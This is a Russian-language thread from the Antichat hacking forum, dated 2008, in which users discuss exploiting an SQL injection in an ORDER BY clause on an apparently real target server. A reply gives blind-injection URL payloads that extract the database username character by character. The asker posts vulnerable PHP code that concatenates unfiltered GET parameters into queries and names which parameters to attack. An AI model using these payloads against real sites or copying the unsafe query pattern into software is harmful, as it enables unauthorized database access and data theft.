Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

10.06.2008, 14:02
|
|
Познающий
Регистрация: 18.07.2007
Сообщений: 40
Провел на форуме: 72605
Репутация:
13
|
|
Инъекция в Order By
Копаясь в одном движке нашел такую инъекцию:
Код:
SELECT * FROM table WHERE 1 order by [SQL]
Т.к. union в данном случае не применить то я попытался провести слепую инъецию по методу more than 1 row описанную здесь :
Код:
SELECT * FROM table WHERE 1 order by (select if(1=2,1,(select 1 union select 2)))
Но такой запрос не выдает ошибки, т.к. таблица содержит всего одну запись и видимо оптимизатор MySQL вообще не выполняет то что написано после order by
Есть ли какие-то приемы или хитрости, чтобы выражение выполнилось??
|
|
|

10.06.2008, 14:38
|
|
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме: 1917742
Репутация:
541
|
|
выложи всю строку с запросом включительно из исходника
|
|
|

10.06.2008, 14:49
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
Такс берем мою https://forum.antichat.ru/thread43966.html стататью в руки и пролистываем до пункта 3.4 Иньекция после ORDER BY и читаем:
3.4 Иньекция после ORDER BY
Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
Код:
SELECT * FROM news ORDER BY $by
ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
http://xxx/news.php?by=(id*1)
http://xxx/news.php?by=(id*-1)
Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это за истину:
Код:
Первая новость
Вторая новость
Третья новость
А во второй ложь:
Код:
Третья новость
Вторая новость
Первая новость
Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=112,1,-1))
Чтож вывелся обратный порядок новостей => ложь
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))
Опять ложь
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=114,1,-1))
О! Прямой порядок новостей => истина
Переводим код символа 114 в символ r. Переходим к следующему символу и тд.
PS пропарил насчет одной записи в таблице... соответственно выше написанное работать не будет. Как и вообще это безнадежный случай.
__________________
Кто я?..
Последний раз редактировалось I-I()/Ib; 10.06.2008 в 14:54..
|
|
|

10.06.2008, 14:54
|
|
Познающий
Регистрация: 18.07.2007
Сообщений: 40
Провел на форуме: 72605
Репутация:
13
|
|
Код:
if (isset($_GET["direction"])) {
$direction = $_GET["direction"];
}
if (isset($_GET["page"])) {
$page = $_GET["page"];
}
if (!isset($_GET["sort"])) {
$version_direction = "void";
$sort = "server_name";
} else if ($_GET["sort"] == 'server_version') {
$version_direction = "server_version";
$sort = "server_version_major ".$direction.", server_version_minor ".$direction.", server_version_release ".$direction.", server_version_build";
} else {
$version_direction = "void";
$sort = $_GET["sort"];
}
if ((!isset($_GET["showgroup"])) or ($_GET["showgroup"] == 'all')) {
$showgroup = "all";
$group = "WHERE 1";
} else if ($_GET["showgroup"] == 'Private') {
$group = "WHERE server_ispname='$showgroup' OR server_ispname=''";
} else if ($_GET["showgroup"] != 'Private') {
$group = "WHERE server_ispname='$_GET[showgroup]'";
}
include("tpl_listing_top.php");
if (isset($_GET["direction"])) {
$pagedirection = $_GET["direction"];
}
if (empty($pagedirection)) {
$pagedirection = "asc";
}
if (empty($direction)) {
$direction = "asc";
}
if (empty($page)) {
$page = 1;
$pagestart = $page -1;
} else {
$pagestart = (($page -1) * $setting["perpage"]);
}
$serverquery = query("SELECT * FROM $dbtable1 $group");
$servercount = number_format(mysql_num_rows($serverquery));
$request = query("SELECT * FROM $dbtable1 $group order by $sort $direction, server_name LIMIT $pagestart,$setting[perpage]");
собственно инъекция либо в $sort либо в $direction
Инъекию в $_GET[showgroup] не рассматриваем так как на искомом серваке включено magic_quotes
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|